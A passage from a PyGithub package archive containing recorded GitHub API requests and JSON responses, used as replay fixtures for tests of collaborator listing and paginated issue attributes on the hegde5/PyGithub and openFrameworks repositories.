'gzip'), ('X-GitHub-Request-Id', 'E77D:4831:185B96E:3DA7A73:5BCCEBFE')] {"login":"hegde5","id":8609211,"node_id":"MDQ6VXNlcjg2MDkyMTE=","avatar_url":"https://avatars2.githubusercontent.com/u/8609211?v=4","gravatar_id":"","url":"https://api.github.com/users/hegde5","html_url":"https://github.com/hegde5","followers_url":"https://api.github.com/users/hegde5/followers","following_url":"https://api.github.com/users/hegde5/following{/other_user}","gists_url":"https://api.github.com/users/hegde5/gists{/gist_id}","starred_url":"https://api.github.com/users/hegde5/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hegde5/subscriptions","organizations_url":"https://api.github.com/users/hegde5/orgs","repos_url":"https://api.github.com/users/hegde5/repos","events_url":"https://api.github.com/users/hegde5/events{/privacy}","received_events_url":"https://api.github.com/users/hegde5/received_events","type":"User","site_admin":false,"name":"Vinay Hegde","company":null,"blog":"","location":"Munich","email":null,"hireable":true,"bio":null,"public_repos":11,"public_gists":0,"followers":0,"following":6,"created_at":"2014-09-01T00:57:39Z","updated_at":"2018-10-14T04:50:21Z","private_gists":1,"total_private_repos":0,"owned_private_repos":0,"disk_usage":54332,"collaborators":0,"two_factor_authentication":true,"plan":{"name":"free","space":976562499,"collaborators":0,"private_repos":0}} https GET api.github.com None /repos/hegde5/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 21:13:35 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4996'), ('X-RateLimit-Reset', '1540157093'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"03485dc4f57e5d0f70d3a97dfdf1be37"'), ('Last-Modified', 'Sun, 21 Oct 2018 20:22:32 GMT'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E77F:4832:2D5ED9C:66CB081:5BCCEBFF')] {"id":153993221,"node_id":"MDEwOlJlcG9zaXRvcnkxNTM5OTMyMjE=","name":"PyGithub","full_name":"hegde5/PyGithub","private":false,"owner":{"login":"hegde5","id":8609211,"node_id":"MDQ6VXNlcjg2MDkyMTE=","avatar_url":"https://avatars2.githubusercontent.com/u/8609211?v=4","gravatar_id":"","url":"https://api.github.com/users/hegde5","html_url":"https://github.com/hegde5","followers_url":"https://api.github.com/users/hegde5/followers","following_url":"https://api.github.com/users/hegde5/following{/other_user}","gists_url":"https://api.github.com/users/hegde5/gists{/gist_id}","starred_url":"https://api.github.com/users/hegde5/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hegde5/subscriptions","organizations_url":"https://api.github.com/users/hegde5/orgs","repos_url":"https://api.github.com/users/hegde5/repos","events_url":"https://api.github.com/users/hegde5/events{/privacy}","received_events_url":"https://api.github.com/users/hegde5/received_events","type":"User","site_admin":false},"html_url":"https://github.com/hegde5/PyGithub","description":"Description edited by PyGithub","fork":true,"url":"https://api.github.com/repos/hegde5/PyGithub","forks_url":"https://api.github.com/repos/hegde5/PyGithub/forks","keys_url":"https://api.github.com/repos/hegde5/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/hegde5/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/hegde5/PyGithub/teams","hooks_url":"https://api.github.com/repos/hegde5/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/hegde5/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/hegde5/PyGithub/events","assignees_url":"https://api.github.com/repos/hegde5/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/hegde5/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/hegde5/PyGithub/tags","blobs_url":"https://api.github.com/repos/hegde5/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/hegde5/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/hegde5/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/hegde5/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/hegde5/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/hegde5/PyGithub/languages","stargazers_url":"https://api.github.com/repos/hegde5/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/hegde5/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/hegde5/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/hegde5/PyGithub/subscription","commits_url":"https://api.github.com/repos/hegde5/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/hegde5/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/hegde5/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/hegde5/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/hegde5/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/hegde5/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/hegde5/PyGithub/merges","archive_url":"https://api.github.com/repos/hegde5/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/hegde5/PyGithub/downloads","issues_url":"https://api.github.com/repos/hegde5/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/hegde5/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/hegde5/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/hegde5/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/hegde5/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/hegde5/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/hegde5/PyGithub/deployments","created_at":"2018-10-21T09:44:20Z","updated_at":"2018-10-21T20:22:32Z","pushed_at":"2018-10-21T20:20:42Z","git_url":"git://github.com/hegde5/PyGithub.git","ssh_url":"git@github.com:hegde5/PyGithub.git","clone_url":"https://github.com/hegde5/PyGithub.git","svn_url":"https://github.com/hegde5/PyGithub","homepage":"http://vincent-jacques.net/PyGithub","size":11452,"stargazers_count":0,"watchers_count":0,"language":"Python","has_issues":true,"has_projects":false,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":0,"mirror_url":null,"archived":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":0,"open_issues":0,"watchers":0,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-10-20T14:47:23Z","pushed_at":"2018-10-21T20:20:43Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11433,"stargazers_count":2143,"watchers_count":2143,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":737,"mirror_url":null,"archived":false,"open_issues_count":51,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":737,"open_issues":51,"watchers":2143,"default_branch":"master"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars0.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2018-10-20T14:47:23Z","pushed_at":"2018-10-21T20:20:43Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":11433,"stargazers_count":2143,"watchers_count":2143,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"forks_count":737,"mirror_url":null,"archived":false,"open_issues_count":51,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"forks":737,"open_issues":51,"watchers":2143,"default_branch":"master"},"network_count":737,"subscribers_count":1} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue937.testCollaboratorsAffiliation.txt0000644000175100001660000000461314756101563026131 0ustar00runnerdockerhttps GET api.github.com None /repos/hegde5/PyGithub/collaborators?affiliation=direct {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 21:13:36 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4995'), ('X-RateLimit-Reset', '1540157093'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"db23c025efd980c5fc4249cde2e34de0"'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'E700:4832:2D5EDDC:66CB0FA:5BCCEC00')] [{"login":"hegde5","id":8609211,"node_id":"MDQ6VXNlcjg2MDkyMTE=","avatar_url":"https://avatars2.githubusercontent.com/u/8609211?v=4","gravatar_id":"","url":"https://api.github.com/users/hegde5","html_url":"https://github.com/hegde5","followers_url":"https://api.github.com/users/hegde5/followers","following_url":"https://api.github.com/users/hegde5/following{/other_user}","gists_url":"https://api.github.com/users/hegde5/gists{/gist_id}","starred_url":"https://api.github.com/users/hegde5/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hegde5/subscriptions","organizations_url":"https://api.github.com/users/hegde5/orgs","repos_url":"https://api.github.com/users/hegde5/repos","events_url":"https://api.github.com/users/hegde5/events{/privacy}","received_events_url":"https://api.github.com/users/hegde5/received_events","type":"User","site_admin":false,"permissions":{"admin":true,"push":true,"pull":true}}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue945.setUp.txt0000644000175100001660000002472714756101563021364 0ustar00runnerdockerhttps GET api.github.com None /users/openframeworks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:39 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"490a721bce7bb5817a38a53711404075"'), ('Last-Modified', 'Wed, 18 Nov 2015 16:33:25 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ED32:235D:2CFA30:625A06:5BD2ADFE')] {"login":"openframeworks","id":142866,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0Mjg2Ng==","avatar_url":"https://avatars2.githubusercontent.com/u/142866?v=4","gravatar_id":"","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following{/other_user}","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"Organization","site_admin":false,"name":"openFrameworks","company":null,"blog":"http://openframeworks.cc/","location":null,"email":null,"hireable":null,"bio":null,"public_repos":9,"public_gists":0,"followers":0,"following":0,"created_at":"2009-10-21T21:54:37Z","updated_at":"2015-11-18T16:33:25Z"} https GET api.github.com None /repos/openframeworks/openFrameworks {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 06:02:40 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4972'), ('X-RateLimit-Reset', '1540536267'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"501068d9a3e67fb624ce5e83e1270d41"'), ('Last-Modified', 'Fri, 26 Oct 2018 04:18:01 GMT'), ('X-OAuth-Scopes', 'repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'ACCA:235E:3C0006:7729D5:5BD2ADFF')] {"id":345337,"node_id":"MDEwOlJlcG9zaXRvcnkzNDUzMzc=","name":"openFrameworks","full_name":"openframeworks/openFrameworks","private":false,"owner":{"login":"openframeworks","id":142866,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0Mjg2Ng==","avatar_url":"https://avatars2.githubusercontent.com/u/142866?v=4","gravatar_id":"","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following{/other_user}","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/openframeworks/openFrameworks","description":"openFrameworks is a community-developed cross platform toolkit for creative coding in C++.","fork":false,"url":"https://api.github.com/repos/openframeworks/openFrameworks","forks_url":"https://api.github.com/repos/openframeworks/openFrameworks/forks","keys_url":"https://api.github.com/repos/openframeworks/openFrameworks/keys{/key_id}","collaborators_url":"https://api.github.com/repos/openframeworks/openFrameworks/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/openframeworks/openFrameworks/teams","hooks_url":"https://api.github.com/repos/openframeworks/openFrameworks/hooks","issue_events_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/events{/number}","events_url":"https://api.github.com/repos/openframeworks/openFrameworks/events","assignees_url":"https://api.github.com/repos/openframeworks/openFrameworks/assignees{/user}","branches_url":"https://api.github.com/repos/openframeworks/openFrameworks/branches{/branch}","tags_url":"https://api.github.com/repos/openframeworks/openFrameworks/tags","blobs_url":"https://api.github.com/repos/openframeworks/openFrameworks/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/openframeworks/openFrameworks/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/openframeworks/openFrameworks/git/refs{/sha}","trees_url":"https://api.github.com/repos/openframeworks/openFrameworks/git/trees{/sha}","statuses_url":"https://api.github.com/repos/openframeworks/openFrameworks/statuses/{sha}","languages_url":"https://api.github.com/repos/openframeworks/openFrameworks/languages","stargazers_url":"https://api.github.com/repos/openframeworks/openFrameworks/stargazers","contributors_url":"https://api.github.com/repos/openframeworks/openFrameworks/contributors","subscribers_url":"https://api.github.com/repos/openframeworks/openFrameworks/subscribers","subscription_url":"https://api.github.com/repos/openframeworks/openFrameworks/subscription","commits_url":"https://api.github.com/repos/openframeworks/openFrameworks/commits{/sha}","git_commits_url":"https://api.github.com/repos/openframeworks/openFrameworks/git/commits{/sha}","comments_url":"https://api.github.com/repos/openframeworks/openFrameworks/comments{/number}","issue_comment_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/comments{/number}","contents_url":"https://api.github.com/repos/openframeworks/openFrameworks/contents/{+path}","compare_url":"https://api.github.com/repos/openframeworks/openFrameworks/compare/{base}...{head}","merges_url":"https://api.github.com/repos/openframeworks/openFrameworks/merges","archive_url":"https://api.github.com/repos/openframeworks/openFrameworks/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/openframeworks/openFrameworks/downloads","issues_url":"https://api.github.com/repos/openframeworks/openFrameworks/issues{/number}","pulls_url":"https://api.github.com/repos/openframeworks/openFrameworks/pulls{/number}","milestones_url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones{/number}","notifications_url":"https://api.github.com/repos/openframeworks/openFrameworks/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/openframeworks/openFrameworks/labels{/name}","releases_url":"https://api.github.com/repos/openframeworks/openFrameworks/releases{/id}","deployments_url":"https://api.github.com/repos/openframeworks/openFrameworks/deployments","created_at":"2009-10-21T21:55:54Z","updated_at":"2018-10-26T04:18:01Z","pushed_at":"2018-10-18T15:56:59Z","git_url":"git://github.com/openframeworks/openFrameworks.git","ssh_url":"git@github.com:openframeworks/openFrameworks.git","clone_url":"https://github.com/openframeworks/openFrameworks.git","svn_url":"https://github.com/openframeworks/openFrameworks","homepage":"http://openframeworks.cc","size":1997625,"stargazers_count":6453,"watchers_count":6453,"language":"C++","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":2143,"mirror_url":null,"archived":false,"open_issues_count":874,"license":{"key":"other","name":"Other","spdx_id":"NOASSERTION","url":null,"node_id":"MDc6TGljZW5zZTA="},"forks":2143,"open_issues":874,"watchers":6453,"default_branch":"patch-release","permissions":{"admin":false,"push":false,"pull":true},"organization":{"login":"openframeworks","id":142866,"node_id":"MDEyOk9yZ2FuaXphdGlvbjE0Mjg2Ng==","avatar_url":"https://avatars2.githubusercontent.com/u/142866?v=4","gravatar_id":"","url":"https://api.github.com/users/openframeworks","html_url":"https://github.com/openframeworks","followers_url":"https://api.github.com/users/openframeworks/followers","following_url":"https://api.github.com/users/openframeworks/following{/other_user}","gists_url":"https://api.github.com/users/openframeworks/gists{/gist_id}","starred_url":"https://api.github.com/users/openframeworks/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/openframeworks/subscriptions","organizations_url":"https://api.github.com/users/openframeworks/orgs","repos_url":"https://api.github.com/users/openframeworks/repos","events_url":"https://api.github.com/users/openframeworks/events{/privacy}","received_events_url":"https://api.github.com/users/openframeworks/received_events","type":"Organization","site_admin":false},"network_count":2143,"subscribers_count":514} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Issue945.testReservedPaginatedListAttributePreservation.txt0000644000175100001660000033404314756101563031675 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Fri, 26 Oct 2018 